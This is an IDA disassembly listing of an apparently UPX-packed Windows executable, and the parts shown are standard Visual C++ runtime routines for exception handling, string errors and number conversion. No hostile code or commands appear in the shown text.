; [00000023 BYTES: COLLAPSED FUNCTION __cftof_g. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND]
; [0000009B BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS KEYPAD "+" TO EXPAND]
; [000001A7 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [000000A8 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType const *,_s_ThrowInfo const *). PRESS KEYPAD "+" TO EXPAND]
; [0000009E BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION unknown_libname_10. PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION CatchIt(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,_s_HandlerType const *,_s_CatchableType const *,_s_TryBlockMapEntry const *,int,EHRegistrationNode *,uchar). PRESS KEYPAD "+" TO EXPAND]
; [0000009C BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41C741 proc near ; DATA XREF: UPX0:00423848o
push dword ptr [ebp-14h] ; struct _EXCEPTION_POINTERS *
call ?ExFilterRethrow@@YAHPAU_EXCEPTION_POINTERS@@@Z ; ExFilterRethrow(_EXCEPTION_POINTERS *)
pop ecx
retn
sub_41C741 endp
; =============== S U B R O U T I N E =======================================
sub_41C74B proc near ; DATA XREF: UPX0:0042384Co
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call __local_unwind2
pop ecx
pop ecx
xor eax, eax
jmp short loc_41C732
sub_41C74B endp
; ---------------------------------------------------------------------------
loc_41C763: ; DATA XREF: UPX0:00423840o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; [00000046 BYTES: COLLAPSED FUNCTION sub_41C76B. PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
; [000001B8 BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41CA7C
; [00000056 BYTES: COLLAPSED FUNCTION unknown_libname_11. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41CA7C
; [00000023 BYTES: COLLAPSED FUNCTION AdjustPointer(void *,PMD const &). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_12. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION sub_41CA7C. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41CAD2 proc near ; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *)+23p
; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_418106p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_423888
push offset unknown_libname_14 ; Microsoft VisualC 2-8/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, ds:off_4388D4
test eax, eax
jz short loc_41CB1A
mov [ebp+var_4], 1
call eax ; sub_41CA7C
jmp short loc_41CB16
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
loc_41CB16: ; CODE XREF: sub_41CAD2+3Bj
and [ebp+var_4], 0
loc_41CB1A: ; CODE XREF: sub_41CAD2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41CB23: ; DATA XREF: UPX0:00423890o
jmp sub_41CA7C
sub_41CAD2 endp
; [00000029 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND]
; [000000C2 BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND]
; [000000CC BYTES: COLLAPSED FUNCTION _toupper. PRESS KEYPAD "+" TO EXPAND]
; [00000A25 BYTES: COLLAPSED FUNCTION __input. PRESS KEYPAD "+" TO EXPAND]
; [00000037 BYTES: COLLAPSED FUNCTION __hextodec. PRESS KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION _fgetc. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __un_inc. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __whiteout. PRESS KEYPAD "+" TO EXPAND]
; [000000D9 BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND]
; [000001F6 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND]
; [0000009A BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND]
; [00000158 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _strncnt. PRESS KEYPAD "+" TO EXPAND]
; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND]
; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND]
; [0000008A BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS KEYPAD "+" TO EXPAND]
; [000001AD BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND]
; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND]
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_14. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
unknown_libname_15: ; Microsoft VisualC 2-8/net runtime
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call __local_unwind2
add esp, 8
pop ebp
retn 4
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND]
; [00000044 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND]
; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND]
; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND]
; [00000095 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __commit. PRESS KEYPAD "+" TO EXPAND]
; [000002B9 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41F6F3 proc near ; CODE XREF: __umatherr+52p
xor eax, eax
retn
sub_41F6F3 endp
; [00000035 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND]
; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND]
; [00000049 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND]
; [0000000C BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41FBC2 proc near ; CODE XREF: sub_41FBEE+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_438EF0
push [esp+4+arg_4]
push [esp+8+arg_0]
call __ld12cvt
add esp, 0Ch
retn
sub_41FBC2 endp
; =============== S U B R O U T I N E =======================================
sub_41FBD8 proc near ; CODE XREF: sub_41FC1B+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_438F08
push [esp+4+arg_4]
push [esp+8+arg_0]
call __ld12cvt
add esp, 0Ch
retn
sub_41FBD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FBEE proc near ; CODE XREF: __fassign+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call ___strgtold12
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41FBC2
add esp, 24h
leave
retn
sub_41FBEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FC1B proc near ; CODE XREF: __fassign+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call ___strgtold12
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41FBD8
add esp, 24h
leave
retn
sub_41FC1B endp
; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND]
; [00000064 BYTES: COLLAPSED FUNCTION __fltout. PRESS KEYPAD "+" TO EXPAND]
; [000000B6 BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push 2
call __amsg_exit
pop ecx
retn
; [00000046 BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41FE28 proc near ; DATA XREF: UPX0:00425024o
push offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
call ds:dword_423020 ; SetUnhandledExceptionFilter
mov ds:dword_4871C8, eax
retn
sub_41FE28 endp
; =============== S U B R O U T I N E =======================================
sub_41FE39 proc near ; DATA XREF: UPX0:0042503Co
push ds:dword_4871C8
call ds:dword_423020 ; SetUnhandledExceptionFilter
retn
sub_41FE39 endp
; =============== S U B R O U T I N E =======================================
sub_41FE46 proc near ; CODE XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+6Bp
; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call ds:dword_42301C ; IsBadReadPtr
test eax, eax
jz short loc_41FE5E
xor esi, esi
loc_41FE5E: ; CODE XREF: sub_41FE46+14j
mov eax, esi
pop esi
retn
sub_41FE46 endp
; =============== S U B R O U T I N E =======================================
sub_41FE62 proc near ; CODE XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+73p
; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call ds:dword_4231B4 ; IsBadWritePtr
test eax, eax
jz short loc_41FE7A
xor esi, esi
loc_41FE7A: ; CODE XREF: sub_41FE62+14j
mov eax, esi
pop esi
retn
sub_41FE62 endp
; [00000018 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000017 BYTES: COLLAPSED CHUNK OF FUNCTION sub_41CA7C. PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION ___tzset. PRESS KEYPAD "+" TO EXPAND]
; [0000025E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+" TO EXPAND]
; [000001AC BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND]
; [00000140 BYTES: COLLAPSED FUNCTION _cvtdate. PRESS KEYPAD "+" TO EXPAND]
; [000000C8 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __allshl. PRESS KEYPAD "+" TO EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND]
; [00000146 BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND]
; [000004A1 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND]
off_420EB5 dd offset loc_420A7E ; DATA XREF: ___strgtold12+63r
dd offset loc_420ACD ; jump table for switch statement
dd offset loc_420B24
dd offset loc_420B4E
dd offset loc_420BA9
dd offset loc_420C20
dd offset loc_420C56
dd offset loc_420CA0
dd offset loc_420C7F
dd offset loc_420D04
dd offset loc_420CEE
dd offset loc_420CBA
; [00000293 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND]
; [0000012D BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND]
; [00000045 BYTES: COLLAPSED FUNCTION _siglookup. PRESS KEYPAD "+" TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+" TO EXPAND]
; [00000076 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND]
; [00000220 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND]
; [0000007C BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND]
; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ. PRESS KEYPAD "+" TO EXPAND]
; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO EXPAND]
; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _findenv. PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND]
; [00000073 BYTES: COLLAPSED FUNCTION __mbschr. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __strdup. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_421C90(char *Src,int)
sub_421C90 proc near ; CODE XREF: sub_421D73+19p
; sub_421E9A+19p
Src = dword ptr 4
push esi
push [esp+4+Src] ; Str
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call _strlen
pop ecx
push eax ; Size
push [esp+8+Src] ; Src
mov ecx, esi
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint)
mov eax, esi
pop esi
retn 8
sub_421C90 endp
; =============== S U B R O U T I N E =======================================
sub_421CBA proc near ; CODE XREF: UPX0:00421CE5p
; sub_421D68+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_423C6C
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
mov ecx, esi
pop esi
jmp sub_4220B6
sub_421CBA endp
; [0000000D BYTES: COLLAPSED FUNCTION sub_421CD5. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_421CE2: ; DATA XREF: UPX0:off_423C6Co
push esi
mov esi, ecx
call sub_421CBA
test byte ptr [esp+8], 1
jz short loc_421CF8
push esi
call ??3@YAXPAX@Z ; operator delete(void *)
pop ecx
loc_421CF8: ; CODE XREF: UPX0:00421CEFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421CFE proc near ; CODE XREF: sub_421D73+29p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov eax, offset loc_422632
call __EH_prolog
push ecx
push ecx
push esi
lea eax, [ebp+var_10]
mov esi, ecx
push eax
mov [ebp+var_14], esi
mov [ebp+var_10], offset dword_423C88
call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &)
push [ebp+arg_0]
and [ebp+var_4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_423C6C
call sub_421DB0
mov ecx, [ebp+var_C]
mov dword ptr [esi], offset off_423C7C
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_421CFE endp
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_421D4C(void *Memory,char)
sub_421D4C proc near ; DATA XREF: UPX0:off_423C7Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_421D68
test [esp+4+arg_0], 1
jz short loc_421D62
push esi ; Memory
call ??3@YAXPAX@Z ; operator delete(void *)
pop ecx
loc_421D62: ; CODE XREF: sub_421D4C+Dj
mov eax, esi
pop esi
retn 4
sub_421D4C endp
; =============== S U B R O U T I N E =======================================
sub_421D68 proc near ; CODE XREF: sub_421D4C+3p
; DATA XREF: UPX0:00423FF4o
mov dword ptr [ecx], offset off_423C7C
jmp sub_421CBA
sub_421D68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D73 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+13p
; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint)+Ep
var_3C = byte ptr -3Ch
var_20 = byte ptr -20h
var_D = dword ptr -0Dh
var_4 = dword ptr -4
mov eax, offset loc_422644
call __EH_prolog
sub esp, 30h
lea eax, [ebp+var_D]
push eax ; int
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp+var_20]
call sub_421C90
and [ebp+var_4], 0
lea eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_3C]
call sub_421CFE
push offset dword_423FF0
lea eax, [ebp+var_3C]
push eax
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
sub_421D73 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_421DB0 proc near ; CODE XREF: sub_421CFE+32p
; sub_421DD0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)
mov eax, esi
pop esi
retn 4
sub_421DB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421DD0 proc near ; CODE XREF: sub_421E9A+29p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov eax, offset loc_422656
call __EH_prolog
push ecx
push ecx
push esi
lea eax, [ebp+var_10]
mov esi, ecx
push eax
mov [ebp+var_14], esi
mov [ebp+var_10], offset dword_423C88
call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &)
push [ebp+arg_0]
and [ebp+var_4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_423C6C
call sub_421DB0
mov ecx, [ebp+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_421DD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421E18 proc near ; CODE XREF: sub_421E82+7p
; sub_421EDE+7p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov eax, offset loc_422668
call __EH_prolog
push ecx
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, ecx
push edi
mov [ebp+var_10], esi
call ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &)
and [ebp+var_4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_423C6C
call sub_421DB0
mov ecx, [ebp+var_C]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_421E18 endp
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_421E5B(void *Memory,char)
sub_421E5B proc near ; DATA XREF: UPX0:off_423CA8o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_421E77
test [esp+4+arg_0], 1
jz short loc_421E71
push esi ; Memory
call ??3@YAXPAX@Z ; operator delete(void *)
pop ecx
loc_421E71: ; CODE XREF: sub_421E5B+Dj
mov eax, esi
pop esi
retn 4
sub_421E5B endp
; =============== S U B R O U T I N E =======================================
sub_421E77 proc near ; CODE XREF: sub_421E5B+3p
; DATA XREF: UPX0:0042409Co
mov dword ptr [ecx], offset off_423CA8
jmp sub_421CBA
sub_421E77 endp
; =============== S U B R O U T I N E =======================================
sub_421E82 proc near ; CODE XREF: sub_421EF6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_421E18
mov dword ptr [esi], offset off_423C7C
mov eax, esi
pop esi
retn 4
sub_421E82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421E9A proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)+15p
; sub_4044BE+15p ...
var_3C = dword ptr -3Ch
var_20 = byte ptr -20h
var_D = dword ptr -0Dh
var_4 = dword ptr -4
mov eax, offset loc_42267A
call __EH_prolog
sub esp, 30h
lea eax, [ebp+var_D]
push eax ; int
push offset aStringTooLong ; "string too long"
lea ecx, [ebp+var_20]
call sub_421C90
and [ebp+var_4], 0
lea eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_3C]
call sub_421DD0
push offset dword_424098
lea eax, [ebp+var_3C]
push eax
mov [ebp+var_3C], offset off_423CA8
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
sub_421E9A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_421EDE proc near ; CODE XREF: sub_421EF6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_421E18
mov dword ptr [esi], offset off_423CA8
mov eax, esi
pop esi
retn 4
sub_421EDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421EF6 proc near ; DATA XREF: UPX0:00423C74o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_421E18
push offset dword_4240D8
lea eax, [ebp+var_1C]
push eax
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
loc_421F14: ; DATA XREF: UPX0:00423CB0o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_421EDE
push offset dword_424098
lea eax, [ebp+var_1C]
push eax
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
loc_421F32: ; DATA XREF: UPX0:00423C84o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_421E82
push offset dword_423FF0
lea eax, [ebp+var_1C]
push eax
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
sub_421EF6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
